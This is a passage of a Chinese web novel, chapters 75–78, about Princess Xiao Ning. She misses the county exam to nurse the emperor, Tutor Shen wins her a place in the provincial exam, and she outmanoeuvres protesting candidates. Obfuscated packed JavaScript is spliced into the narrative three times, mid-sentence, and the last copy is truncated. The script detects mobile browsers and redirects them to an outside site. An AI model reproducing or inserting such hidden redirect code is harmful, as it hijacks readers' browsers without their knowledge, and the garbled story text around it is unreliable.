萧柠皱了皱眉头,想直接往里面闯。 可是,几个侍卫把兵器横在了萧柠面前,阻拦了她的脚步。 “大公主,请别让小人们为难。” “父皇生病,你们却不许我探视,是何居心?” “大公主息怒。” 萧柠有些焦急,却没有办法。 这时,里面传来一道柔美又略带威严的声音:“何人在外喧哗?” 接着,从里面走出一个身姿婀娜、长相明艳的宫妃,正是靳贵妃。 侍卫们回答:“禀贵妃娘娘,大公主非要进去探视皇上,小的们正在劝她。” 靳贵妃不紧不慢地看了萧柠一眼,带着几分戏弄、不屑的眼神,道:“怎么,大公主是没收到消息吗?你侍疾的日子在后天。” “贵妃娘娘,后天是我参加院试的日子,求您通融一下吧。” “通融?大公主怎么能说出这种话?难道皇上还没有院试要紧吗?” 75. 情商(修) “……” 这话萧柠没法接。 她总不能为了考试,不顾父皇的身体吧? 她定了定心神,继续恳求:“贵妃娘娘,我可以在今天或明天侍疾吗?” “已经安排好了,不能随意更改。你改了侍疾日期,其他人也要跟着改。总不能为了你一个人的事,耽误其他人吧?大公主请回吧。” 萧柠不知道自己是怎么回来的。 她在窗下闷坐了许久,说不清自己是什么心情。 靳贵妃先是杀了她母亲,害她在外面流落十八年。 再是让她替萧梦苒和亲。 如果不是北胤新帝仁厚,取消了和亲,还不知道萧柠现在是什么光景。 回宫后萧梦苒欺负她,大皇子也阴阳怪气。 她参加县试的时候,故意让她腹泻。 她参加院试的时候,故意让她侍疾,错过院试。 她为了院试,期盼了半年,准备了半年,结果一切化为泡影。 这母子三人,太过分了。 凭什么? 她还要受气到什么时候? 萧柠抬头看了看天,忽然流下了眼泪。 冬香和小雪站在一边,手足无措,不知道该怎么安慰。 因为这不是一件小事。 不能参加院试,对萧柠来说打击太大了。 萧玉蟾走到萧柠身边,轻声道:“你决定了吗?现在你只能有一个选择,就是为了侍疾,放弃考试。反过来选你就完了。” “我明白。我从来都没得选。” “但是,皇上能答应你一次,就能答应你第二次。侍疾的时候你用心些,让皇上看到你的辛苦,你再找机会求他。院试每隔一两年就有一次的,错过了这次,还有下一次,就在两年后。” “两年后……我觉得希望不大了。二公主已经出嫁,父皇也不会留我太久。两年之内,我一定已经被迫嫁人了。” “也许还有其他办法的……” 萧柠没有回答。 萧玉蟾也知道自己的安慰苍白无力。 别人一句话就能毁掉你所有的努力,这种感觉太糟糕了。 萧柠盯着桌上的书,一直发呆。 萧玉蟾知道她需要一个人静一静,就悄无声息地回了自己的房间。 临走前,她嘱咐宫女:“你们给大公主准备吃的,但别逼着她吃。她想做什么就让她做什么吧。发呆也好,哭泣也好,睡觉也好……” 冬香道:“是,奴婢们明白了。” —————— 半夜,萧柠心中忽然清明起来。 她喃喃道:“我还没输,因为我还活着。只要没死,就有翻盘的可能。贵妃如今处于强势地位,但谁能保证她的地位一直不变?我只是暂时被压制了,不是永远出不了头了。 我的人生还长着呢,远没有到盖棺定论的时候。难道她不让我考试,我就不读书了吗?我偏要读,而且还要读得比那些举子好。 只要有真才实学,总有发光的时候。 萧柠,不许哭,打起精神来。” 接着,萧柠擦去了眼泪,慢慢地扬起一个微笑。 命运给她挫折,她偏要微笑以对。 只有多笑,才能吸引好运气,才能让心情轻松。 她远没有跌到谷底。 侍疾就侍疾,这是一个表孝心、表忠心的好机会。 感情是一点一点培养的,父皇对她感情越深,她能得到的东西就越多。 如果她哭丧着脸去侍疾,父皇一定不喜。 她偏要表现得无怨无悔、端庄得体,让旁人挑不出错来。 暂时做不了秀才没关系,她可以先做一个守礼尽孝的公主。 才学暂时没法显扬,她可以先显扬美德。 六月十六当天,其他童生进考场,而萧柠去了皇帝寝宫侍疾。 皇帝身体虚弱,卧床不起,但神智是清醒的。 他看见萧柠,有些开心:“柠儿,你来了。” “是啊,父皇,今日是我侍疾。您要吃些什么?” “来碗小米红枣粥吧,再来几个米粿,其他的吃不下。” “是。” 萧柠端来食物,放在床边的小桌子上。 不过,她拿来了许多食物,不止小米粥和米粿。 萧柠笑道:“父皇,我也没吃早饭,我跟您一起吃。” 皇帝感到高兴:“好,咱们父女俩一起吃。柠儿,你小时候在姜家,过得怎么样啊?” “挺不错的。义父义母她们对我很好,也并不知道我不是亲女儿,所以我享受的是亲女儿待遇。义父会给我买好吃的好玩的,义母会给我做衣裳。义父还亲自教我读书。我想要什么书,他会立刻买来。” 皇帝点头道:“那便好。” 萧柠从小没在他身边长大,他心里还是有几分愧疚的。 听见萧柠在外并未吃苦,他心中颇感安慰。 以前,萧柠还是姜家大小姐时,皇帝也见过她几次。因她跟萧梦苒长得相似,皇帝对她也有几分关怀之情。没想到,萧柠就是他的亲女儿。 萧柠吃着各色早点,十分开心。这些早点都做得很小,方便皇帝多吃几样。 皇帝没什么胃口,只吃小米粥和米粿,其他食物便都归了萧柠。 见萧柠吃得很香,皇帝愈发开心起来,感觉病都好了一大截。 他自己也多喝了几口粥。 萧柠笑道:“父皇,您的早膳真好吃。” “你要是喜欢,以后可以经常来跟朕一起用膳。” “真的吗?那您给我一个信物吧,要不然怕下人们拦我。” 皇帝笑呵呵地递给萧柠一个绿檀手串,道:“这是朕的物件,你向下人们出示这个,他们就不会拦你了,除非朕在跟大臣们议事。” 萧柠欣喜地接过手串:“多谢父皇!” 吃完早饭后,萧柠弹了一首舒缓的曲子,让皇帝安神。 皇帝的病其实不算严重,应该属于积劳成疾,不需要喝太多药。但是,他卧床好几天,确实需要有人解闷。 此时他听见了悠扬的琴声,心情也好了些,感觉养病也没有那么枯燥了。 渐渐的,皇帝睡着了。 等他醒来时,发现萧柠在看书。 皇帝问道:“柠儿,你不歇会?” “我不累,刚才看见书架上这本书很有趣,就拿来看看。” “嗯,那你看吧。” 看见萧柠这娴静文雅的模样,皇帝很喜欢,觉得萧柠不愧是他女儿,怎么看怎么完美。 他看见萧柠,不免会想起长相相似的萧梦苒。不知为何,他忽然觉得萧梦苒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147018|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有萧柠这么乖巧懂事。 当然,要问他更喜欢哪个女儿,那肯定是萧梦苒。 感情归感情,理性归理性。 不过,他察觉到自己的偏心之后,又对萧柠有了几分歉疚。 他想起一件事:“上次朕看见梦苒那里有四只波斯猫,有两只似乎是从你那里抢来的?” 萧柠笑道:“什么抢不抢的,二妹喜欢那两只猫,拿去就拿去吧。” “你怎么一直不提这事?百兽园还有其他猫,你若是想要,朕可以再去拿两只。” “也没有很想要,只是想养两只猫解闷罢了。后来儿臣养了几盆兰花,也能消遣。” “也好。如果你又想养动物了,随时说就是。” “是。” 接下来,萧柠又跟皇帝下了几局棋。 皇帝正觉得无聊,下棋倒正好能打发时间, 这一整天,皇帝都对萧柠很满意。 萧柠细心又贴心,说的话、做的事总能到皇帝的心坎里。 其实养病最重要的不是喝药,而是调节心情。 突然卧病在床,病人肯定不适应,心情也不会好。而且,清醒的时候,也会因为乏力,很多事都不能做。比如,就算是想看书,也未必能集中精神。 这么一来,只能干瞪眼,非常无趣。 而萧柠有很多解闷的方法,有时候是弹琴,有时候是下棋,有时候是跟皇帝天南海北地聊天。 萧柠很会提问,总是问一些皇帝比较擅长回答的问题,皇帝就一直滔滔不绝地说着,萧柠也适时地露出恍然大悟或崇拜的表情。 比如,萧柠知道皇帝曾经去过某个地方,就会询问那个地方的风土人情,或是传说故事之类的。 而皇帝也很乐意讲解。 这一天的时间,过得很快。 皇帝始终没有想起,今天是萧柠考试的日子。 他是皇帝,不需要去记院试的时间,只需要知道殿试(进士考试)的时间就可以了。 萧柠也没有提醒他这件事,一直表现出高兴的样子。 有些事,让皇帝自己去发现,比直接告诉他好。 萧柠这一天也不是全无收获。 快要离开的时候,萧柠还叫皇帝送她几件首饰。 皇帝开心地答应了,让太监带着萧柠去库房挑选,看上什么就拿什么。 最后,萧柠得到了两大盒首饰,太监还嫌不够,又精心挑选了几件珍贵的摆件,送到萧柠宫里去。 太监们生怕萧柠拿得太少,传到皇帝耳中,皇帝会认为是下人们怠慢。毕竟萧柠现在很得皇帝欢心,他们自然得小心伺.候着。 而皇帝送出了首饰,也很高兴。 对一个父亲来说,孩子偶尔向他要点小东西,其实比什么都不要、一见到父亲就非常守礼、非常畏惧要好得多。 他需要忠心的臣子,也需要贴心的孩子。 畏惧他的、不敢跟他要任何东西的人,到处都是。萧柠这样既有分寸、又能偶尔撒娇的人,却不多。 —————— 萧柠觉得自己拿到的珠宝首饰有点太多了,戴不过来,不如拿一部分出来做人情。 于是,她送了一盒珠宝到温妃那里,感谢她这段时间的关照。 系统给萧柠400积分,现在的积分是7300。 76. 比较(修) 萧柠用意念对系统说道:“其实我送东西给温妃,也并非完全是知恩图报,也有跟别人搞好关系的私心在。” “不管怎样,你能想到回报温妃,就已经很不错了,所以会有积分。” “好。” 温妃亲自做了一桌菜,邀请萧柠过去吃。 萧柠觉得很好吃,不住夸赞。 温妃笑道:“大公主若是喜欢,以后可以常来跟本宫一起吃饭。之前你总是在看书,我怕打扰你,所以不常邀请。” “吃个饭的时间还是有的,只是不敢劳烦娘娘亲自下厨,以后叫小厨房做好就行。” “我下厨倒也不辛苦,长日无聊,找点事做罢了。以前我的厨艺也不怎么样,这些年钻研出来了。” “那就先谢谢娘娘了,下次我若是想来吃饭,就提前跟娘娘说。” 萧柠继续吃着,而温妃吃得比较少。 她看到萧柠爱吃,眼神中流露出喜悦,还有几分慈爱。 萧柠忽然觉得,温妃可能有些寂寞。 虽然她地位高,但有靳贵妃在,其实温妃也很难经常见到皇帝。再加上温妃没法生育,没有孩子分去注意力,这些年也不知道她是怎么过来的。 萧柠虽然住在她宫里,但萧柠已经长大,也不需要她带。她可能也只能做做饭,打发时间了。 萧柠觉得,以后自己可以多陪伴温妃。 ———— 第二天,轮到二公主萧梦苒侍疾。 萧梦苒已经出嫁,所以是从宫外的公主府赶过来的。 她本就喜欢赖床,来到皇帝寝宫时,已经接近中午了。 靳贵妃在门口接她,嗔怪道:“今日是你侍疾,你怎么也不早点来?” “起不来嘛。不会真要我照顾父皇吧,我可照顾不来。” “放心,母妃都安排好了,端茶倒水的事有下人们做,你只需要陪父皇说话解闷就行。” “好吧。母妃,您跟我一起照顾父皇吗?” “这几天晚上都是母妃在照顾,白天你们这些子女照顾吧,母妃要休息一下。” “哦。萧柠是不是错过了院试?” “对。” 萧梦苒有些得意地笑了:“她不是可想参加院试了吗,现在错过了,是不是哭了很久?” “那倒没有,没见她哭,昨日她还把你父皇照顾得很好呢。临走,你父皇还赏了她首饰。萧柠这个人,很有城府,喜怒不形于色,还知道讨好你父皇,没有我们想的那么简单。” “是吗?她可能知道自己无依无靠,所以不敢表现出不满吧。倒是个识相的。我成亲这么久,她也没来勾.搭过裴靖,可见她不敢与我争锋。依我看,她不是城府深,而是胆小,不值一提。” “不说这些了,你赶紧进去照顾你父皇吧,母妃也要补个觉。” “好吧。” 萧梦苒走进了皇帝的寝宫,先叫了一声“父皇”。 接着,有个宫女端来一杯茶,给萧梦苒喝。 萧梦苒皱眉道:“怎么这么烫?” 宫女赶紧跪下:“请二公主恕罪……” “滚出去罚跪。” “是。” 另一个宫女给皇帝喂药,不小心洒了一点药汁出来。 萧梦苒骂道:“怎么回事?连喂药都不会?” 喂药的宫女战战兢兢地跪下,不敢辩驳。 皇帝本来迷迷糊糊的,有点想睡觉,被萧梦苒的骂人声吵醒了,皱眉道:“梦苒,大清早发什么脾气?” 接着,皇帝自己拿过药碗,一口气喝了,然后叫喂药宫女把碗拿走。 萧梦苒坐到皇帝身边,道:“父皇,您可要给我做主啊。这些天裴靖对我爱答不理的,连个笑脸都没有。我骂他他也不还嘴,我打他他也不还手,跟个木头似的。” “他要是没做错什么,朕也没法斥责他啊。他的脾气本来就是沉默寡言的,你别对他太凶了。” “我哪里凶了?自从嫁给他,我为了跟他搞好关系,脾气已经收敛了很多了。可是他呢,成亲一个月就出征了,好不容易回来,对我也淡淡的。他藐视儿臣,就是藐视父皇,应该狠狠责罚他!” 萧梦苒自从成亲以来,经常回宫诉苦,说裴靖对她不好。 若换了往日,皇帝不免百般安慰,还想尽办法让萧梦苒开心。 为了萧梦苒,皇帝也多次召裴靖进宫,拿话敲打他。 可是现在,皇帝身体不适,实在没有精力掺和这事,便说道:“裴靖是功臣,不能无故责罚。你们成亲不久,互相不熟悉,等时间长了,感情自然会变好的。” “可是,他每每见了儿臣,就像我欠了他几百万似的……” “你如果少打骂他一些,相信他不会是这个态度。” “父皇,您怎么还帮着他说话啊?我跟您说,他哪怕是对下人的态度,都比对我好。他跟副将说话的时间,都比跟我说话长。昨日他又跟副将在书房叽叽咕咕大半天,气得我闯进书房,把那个副将赶走,结果裴靖跟我吵架!他反了天了!” 萧梦苒声音太高,皇帝觉得耳朵有点疼。 他耐着性子说道:“裴靖跟副将一定在说军中事务,所以时间才会长些,这有什么好介意的?” “不是的,裴靖一定在跟副将说我坏话!以为我不知道吗?还躲着我。哼,我迟早把他们俩打个半死!” 皇帝觉得头大如斗,同时内心还隐隐有点烦躁。 萧梦苒似乎忘了自己是来侍疾的,反倒要皇帝来照顾她的情绪。 看着萧梦苒,皇帝忽然想到了萧柠。 他觉得萧柠比萧梦苒懂事多了,而萧梦苒呢,都成亲这么久了,还是一点都不稳重。 裴靖是朝中重臣,皇帝把公主嫁给他,其实也有奖励和拉拢他的意思。君臣变成翁婿,亲上加亲。 可是,萧梦苒不懂得经营婚姻,跟裴靖关系日益恶化,反而违背了皇帝的本意。 现在皇帝和裴靖的关系,反而多了几分尴尬。 萧梦苒每无理取闹一次,裴靖就得忍让一次。可越是忍让,裴靖心中跟皇帝必然越是疏远。 虽然裴靖这个做臣子的,肯定不敢明着怨恨皇帝,但心里的一些想法,却是裴靖自己也无法控制的。 皇帝为了让萧梦苒高兴,好几次私下斥责裴靖,想必裴靖心中难免委屈烦躁,痛苦压抑。 而落在其他大臣眼中,便是裴靖这个有功之臣,因为娶了皇帝的女儿,日子过得反而不如以前。 那其他大臣心中难免也会有一些微妙的想法,觉得皇帝为了女儿的幸福, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147019|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不顾裴靖的幸福。 而这些后果,萧梦苒是不会想到的。即便想到,她也不会在意。她自己的心情最要紧,其他人都低她一等。 皇帝有些后悔让萧梦苒嫁给裴靖。他觉得,如果当初嫁给裴靖的是萧柠,就一定不会是这个结果。 皇帝有些烦心,微微皱眉。 萧梦苒摇晃着他的胳膊,道:“父皇,您怎么不说话?要我说,应该让裴靖头顶一盆水,在宫门口罚跪。水要是洒出来一点,就打他一鞭子!” “好了,你别变着法折磨他了。父皇要休息一下。” “父皇,您别睡啊,父皇!” “……” 皇帝忽然觉得,萧梦苒也没那么可爱了。 他有气无力地对萧梦苒说道:“你也累了吧?去旁边的房间休息一下。来人,带二公主去兰芷殿。” 宫女:“是。” 萧梦苒道:“父皇,我不累,我们来下五子棋吧。”. “父皇这会没精神,等睡醒了再说。” “好吧。” 萧梦苒终于走了,皇帝觉得世界清净了。 皇帝睡了一会,忽然被隔壁屋子的动静给惊醒了。 隔壁好像有摔桌子碗碟的声音,还夹杂着呵斥声。 皇帝皱眉对一个太监道:“怎么回事?过去看看。” “是。” 过了一会,太监回来道:“回皇上,二公主在隔壁,叫一个宫女陪她下五子棋。可是……可是那个宫女赢了,二公主就……” 太监不敢再说下去,不过皇帝也能猜到。 以萧梦苒的个性,肯定是因为下棋输了,大发雷霆,摔桌子摔碗了,难怪会有这么大动静。 皇帝颇感无奈,问道:“那个宫女怎么敢赢二公主?” “本来那个宫女是连输几局的,但二公主说她没尽全力,要责罚她。然后那个宫女尽了全力,就赢了,二公主就发脾气了……” 皇帝摇了摇头:“去把二公主带到靳贵妃那里休息,就说朕今日身体不错,不需要二公主侍疾了。” “是。” —————— 这天,萧柠去了文渊阁看书。 自从拿到文渊阁的钥匙,她隔三差五就会过来。她一般选择黄昏或晚上过来,这时候里面基本上没人了,比较安静。 她拿了一本书看,因内容太晦涩难懂,她没看多久就睡着了。 过了一会,有人走了进来。 他看见萧柠趴在一本书上睡着了,有些惊讶,眼中闪过一些复杂的情绪。 接着,他走到萧柠身边,放下了一本书。 ———— 大约半个时辰后,萧柠醒了过来,发现自己手边竟放着一本自己盼望了很久的书——《西蜀策论集》。 萧柠有些惊讶,走出门去,问门口的宫女:“刚才有谁来过?” “禀公主,申太傅来过,不过很快就走了。” “他去哪里了?” “不知道,可能回家了吧。” “他有本书不小心落我这里了。” “不是,申太傅特意嘱咐奴婢,说他送了公主一本书,公主不必还给他了。” “……” 萧柠捧着那本《西蜀策论集》,呆呆地站着。 77. 劝谏(修) 皇帝经过十来天的休养,病已经好得差不多了,便在御书房批奏折。 这时太监来报:“皇上,申太傅求见。” “申太傅?他怎会主动找朕?让他进来吧。” 宗学堂的大部分老师都身兼其他职位,只有申太傅没有其他职位,只负责宗室子弟的教学。 平时皇帝想查问皇子们的学业时,才会叫申太傅过来问话。 平时申太傅是不会主动求见的。因此,皇帝有些惊讶。 申太傅进来后,皇帝问道:“太傅有何要事?” 申太傅行了一礼:“皇上,您可知道大公主为了侍疾,错过了院试?” “什么?真有此事?” “是的。她侍疾那日,刚好是院试的日子。她已为此准备了半年,但为了照顾皇上,她还是放弃了。” 皇帝有些震惊:“这孩子……她怎么不说……” “皇上,她没法说。如果她为了参加考试,不来侍疾,皇上会不会对她有不好的看法?其他人又会怎么看她?” 皇帝叹息道:“倒是朕疏忽了。朕多送她一些礼物好了。” “皇上,大公主缺的不是财物,而是机会。她虽然错过了院试,但八月份就是乡试了,您不如让她直接参加乡试。” “可是……只有秀才才能参加乡试,她还不是秀才。” “大公主如果没有错过院试,说不定已经是秀才了。虽然让她直接参加乡试不合规矩,但她是皇上的女儿,只要皇上允许,又有何不可?如果她有考中举人的水平,直接考上,旁人自然没有异议。如果水平不够,没考上,那跟没去考的结果是一样的,不会有什么大的影响。” “原来申太傅此来是为了给大公主说话的。不过她错过考试并非什么了不得的事,公主本来就不能参加科举,也不能当官的。太傅为何非要让她参加科考?” “皇上,臣以前也不赞成大公主参加科考,但是……这段时间,臣亲眼见到大公主认真读书,比宗室子弟们用功数倍。而且,就算她已经错过了考试的机会,仍然锲而不舍地读书。臣觉得很感动,而且臣认为,她真的很希望自己的才学能被看到,能有用武之地。皇上何不成全她呢?” “让公主参加乡试,毕竟太离经叛道了,这是从未有过的事……而且,她就算有了功名,也是不能当官的。” “为什么不能?能不能授予官职,只在于皇上一念之间。大公主是您的亲女儿,让她来管理一部分政务,不是更放心吗?” “这哪能放心?她毕竟是女孩,做不好的。” “皇上,臣以前也是这么想的,但现在想想,这不过是偏见罢了。大公主并不比旁人少了什么,相反,她比一般人更聪慧,更努力,各方面都挑不出毛病来。” “但是……朕只想让她嫁个如意郎君,一辈子清闲自在。” “皇上,您若有一颗灵芝,吃下去就能延寿十年,百病全消。您是选择吃下去,还是把灵芝放在架子上,用于观赏?” “这……自然是吃下去。” “物要尽其用,人才也要尽其用。公主有治世之能,您却只让她嫁人生子,岂不浪费?” “你怎么看出她有治世之能?” “听闻公主善待身边的下人,并把自己宫中的事务管理得井然有序。见微知著,可以推断出公主治国一定也不错。就算她暂时没经验,以她的勤奋好学、仁慈善良,也一定能成为良吏。” “可是……她毕竟是女的……” “皇上,若您身染重病,只有一个名医能治,但那个名医是女的,您会让她治吗?” “这……当然会。” “若是国库空虚,百废待兴,有一富商愿意捐出家产,充实国库,但那个富商是女的,您会接受她的钱吗?” “当然会。商人有爱国之心,自然不分男女。先接受她的财产,解决燃眉之急再说。以后再慢慢报答她。” “如果那个女商人想要的报答,是有个爵位,皇上会给她爵位吗?” “虽然从来没有女人封爵,但她若是为国家捐出大笔财产,于国有功,也不是不能通融。” “皇上颖悟绝伦,从善如流,为何在大公主的事上,不能变通?” “可是,爱卿所举的例子,跟大公主的事不太相同。” “皇上,若是大公主做了女官,能为南萧国,为皇上带来更多的好处,为何不允许呢?” “你怎么知道一定会有好处?” “皇上为何不试试呢?” 皇帝有几分茫然,随即说道:“让朕再想想……” ———— 小石头一路小跑,来到萧柠的宫殿。 冬香看见了他,问道:“小石头,你如此匆忙,有什么事?” 小石头笑道:“有大喜事!快叫大公主准备好赏钱!” 萧柠闻声,也走了出来,笑道:“赏钱倒有,但不知有什么喜事。若能叫我满意,我自会赏你。” 小石头道:“大公主,这事您听了一定高兴。皇上让您参加八月份的乡试。” “什么?真的吗?” “千真万确!” “这……我还没参加院试,怎么能直接参加乡试呢?” “皇上说行就行!” “父皇为何突然改变主意?” “这小的就不知道了。” 萧柠喜出望外,打赏了小石头。 兴奋劲过了之后,萧柠又担忧起来。 她对萧玉蟾说道:“不知我能不能考中举人……” 萧玉蟾道:“以您目前的水平来看,大概有一半的可能吧。如果能再准备两年,考中的概率更大。” “但父皇让我参加今年的乡试,那我只剩下一个多月时间了。” “没关系,您利用好剩下的时间,别去想能不能成功,只需要全力以赴就行。臣女也会尽力教您的。” “嗯。” “看来,皇上还是很在意您的前途的,知道您错过了院试,就给您乡试的机会。” “我总觉得没那么简单,也许是有什么特别的缘故。” 第二天,萧柠来到宗学堂学习。 她知道申太傅偷偷把《西蜀策论集》送给自己,因此看向申太傅的眼神中多了几分感激。 而申太傅的眼神则复杂得多,萧柠能感觉到的有愧疚、懊悔等情绪。 放学后,申太傅特意留下了萧柠,说是有事想跟她说。 萧柠本想感谢他赠书之事,可是申太傅却先朝萧柠行了个大礼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147020|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这种礼节,一般用于面见尊长,或是用于非常郑重的道歉。 萧柠赶紧去搀扶申太傅,说道:“太傅,您是我的老师,不该行此大礼。” 申太傅道:“若是以师生的身份论,臣确实不需要向公主行礼。但是,臣行此礼,是为了道歉。” “太傅何出此言?您把《西蜀策论集》送给我,我还没向您道谢。” 申太傅道:“此事不值一提。臣是为了之前的傲慢与偏见,向您道歉。臣以前轻视女人,总觉得女人在读书、治国方面,肯定不如男人。如果想跟男人比,就是不安分、不自量力。 可是,公主的言行,让臣明白了,用性别去否定一个人,是何等傲慢,何等错误。公主在几乎所有人都反对的情况下,还能自强不息,比很多男人强得多。 很多男人的机会比女人多得多,但他们并不珍惜,最终成就平平,乏善可陈。 既然如此,还不如把机会给真正值得的人。 臣以前很珍视那本《西蜀策论集》,总想交给一个天才。可是,臣最近才意识到,把这本书交到会重视它、认真研读它的人手里最好。 而大公主便是合适的人选。 日后大公主若有科考上的问题,也可以来问臣。” 萧柠十分感激。她其实已经从太傅赠书之事中,察觉到太傅心理的变化。 但她没想到,太傅会直接说出来,在她面前反省自己。 萧柠也向太傅行了一礼:“太傅,您无需愧疚,您以前的一些想法是这个社会造成的。太傅德才兼备,令我获益良多,您是我一辈子的老师。” “公主无需多礼。能成为大公主的老师,也是臣的幸事。” “对了,父皇突然同意我参加乡试,是不是因为太傅的劝谏?” “是的,这个机会来之不易,公主可要好好准备。” “是,我一定会全力以赴的。” 接下来的时间,萧柠昼夜苦读,《西蜀策论集》也认真看完了。 有了这本书和萧玉蟾的指导,萧柠有了很大的进步。 这天,萧柠去宗学堂,却发现二皇子萧奕知脸上有几处淤青,像是被人打的。 萧柠问道:“二皇弟,你的脸怎么了?” 二皇子淡淡一笑:“没什么,撞到桌子了。” “撞到桌子怎么能撞成这样?” 二皇子的随从道:“大公主,二皇子这不是撞到桌子,而是被大皇子给打了……” 二皇子赶紧道:“别说了。” 萧柠正想细问,谁知今天大皇子萧奕兴破天荒地来上学了,还坐在二皇子附近,萧柠赶紧闭嘴。 大皇子打量着二皇子,带着轻蔑、得意之色。 接着,大皇子对萧柠说道:“大皇姐,听说过几天你要去参加乡试了?” 他的语气很不好,萧柠也只能忍耐,平静地说道:“没错。” “呵,你真的这么不自量力,要参加乡试?丢脸丢到外面去,可不好啊。” 萧柠脸色微变,但不想反驳。 二皇子有些同情萧柠,想说什么,但他畏惧地看了大皇子一眼,也什么都没说。 这时,门外却传来一个高昂的声音:“依我看,胡说八道、打击别人的人,才丢脸呢。” 78. 隐忍(修) 众人往外看去,见一个神采飞扬、略带稚气的少年走了进来,正是三皇子萧奕贺。 大皇子有些生气地看着他:“你刚才说什么?” 三皇子笑道:“我说的又不是大皇兄,大皇兄可别多心。” “你……” 大皇子一下子不知道该怎么反驳,只是瞪了三皇子一眼,就不再理他了。 三皇子坐到萧柠身边,说道:“大皇姐,考试加油。等你通过了乡试,我和二皇兄再给你举办庆功宴。” 萧柠感激地看向他:“多谢。” 很快,有个学士走进来开始上课,众人也就不说话了。 等上完课,众人都散了,萧柠偷偷问二皇子:“大皇子为何要打你?” 二皇子只是笑了笑:“没什么,有点小矛盾而已。” 二皇子的侍从道:“昨日,皇上拿一件政事问三位皇子,让他们各自写一道奏疏。大皇子的奏疏被皇上批评了,皇上说二皇子写得最好。结果,今天早上,大皇子遇见二皇子,就怪他出风头,把他给打了。” 萧柠听得很气愤:“这个大皇子,自己没本事,还打人。我那儿有活血化瘀的药,等下我让人送给你。” 二皇子道:“不用了,我自己也有药膏。” “这事父皇知道吗?” 二皇子黯然道:“不知道。而且,知道又能怎么样呢?” 萧柠也知道二皇子处境艰难,她自己的处境也差不多。 大皇子和二公主做什么都行,其他人只能受他们的气。 萧柠小声说道:“暂时隐忍,避其锋芒,免得再被他针对。” 二皇子道:“嗯,我一向不敢跟大皇子争,只是昨日父皇考我们,我如果不好好表现,怕父皇不允许我继续当官了,所以我才……” “嗯,这算特殊情况,没关系的。以前大皇子针对你或者是打你,父皇有管过吗?” “几乎没有……” 萧柠觉得,二皇子实在是不容易。 她也不知道该怎么安慰二皇子,只好说道:“等下我给你上药吧。” “没关系,来之前我已经上过一次药了。” 萧柠又跟他说了几句话,就离开了。 回到寝宫后,她还是派人给二皇子送了跌打损伤药,获得50积分。 八月一日,是乡试报名的时间。 萧柠戴上幕篱,坐着马车,来到考场报名。 她刚报完名,就有一群举子闹了起来。 “刚才来报名的,是大公主吧?” “是啊,我之前见过。” “大公主又来跟我们抢名额了,简直岂有此理!” “我听说,大公主连院试都没考,连秀才都不是,凭什么参加乡试!” “如果大公主考试,我们就不考了!” “没错,我也弃考!” “我也要弃考!” 萧柠有些头疼,只得对他们解释道:“本公主虽然跟你们一起考试,可主考官阅卷是公平公正的。如果我没有达到举人的水平,自然会落选,谈不上抢走你们的名额。如果我达到了标准,才会成为举人,这也是依才华而定,而非依身份而定。” 然而,他们根本不听萧柠的解释,仍然是吵吵嚷嚷的。 负责本次报名的是翰林学士李青松,他有些为难地对萧柠说道:“公主,您看这些人群情激奋,要不……您就不要报名了?这些举子走到乡试这一步不容易,不能失去他们的心啊。” 萧柠觉得有些无语,反驳道:“难道我就容易了?我考试是父皇允准的,凭什么因为这些人反对,我就要退出?” “可是,您已经是公主了,一辈子锦衣玉食。而这些举子,大部分家境贫寒,盼望着通过科举翻身。” “照李学士这么说,难道有钱人就不能参加科考了?没这个规定吧?读得起书的,大部分都是有钱人家的孩子。在场的富家子弟也不少啊。” “可是,他们这么闹起来,怕是不好收场啊。” “这有何难?” 萧柠站在马车上,居高临下地看着这些举子。 反对她的举子站成一堆,大概有几十人。 还有很多学子在观望,不知道自己该不该加入。 萧柠对着那些观望的举子说道:“诸位,你们也想反对我吗?如果要反对我,就跟那群举子一样退出这次乡试。若是不反对,就可以参加乡试。有这么多举子要退出了,他们当中不乏才华过人者。他们不跟你们一起考试,你们中举的概率不就大大提高了?” 那些观望的举子一听,觉得有道理,纷纷说道: “我们不反对公主考试!” “就是,科举考试各凭本事,只要不作弊,没有谁抢了谁的名额一说。考不上的话,不过是技不如人而已。” “喂,我说那边那群举子,说了要弃考,就要说到做到啊,赶紧离开吧。” “对啊,这次不考,下次也可以考嘛,没必要非得挤在一起考。” 那群反对萧柠的举子中,有一部分人慌了,说道:“谁说要弃考了?我可没说!” “就是,刚才我不过随口说说,我花了六年才考中秀才,现在让我放弃举人考试?不可能!” “我不知道我怎么会站在这堆人里,我是被挤过来的!” “我也是!” 说着,就有好多原先反对萧柠的举子,朝四周跑开了。 剩下的不过十来个人,气势立刻小了。 但是,他们几个仍然用不善的眼神盯着萧柠。 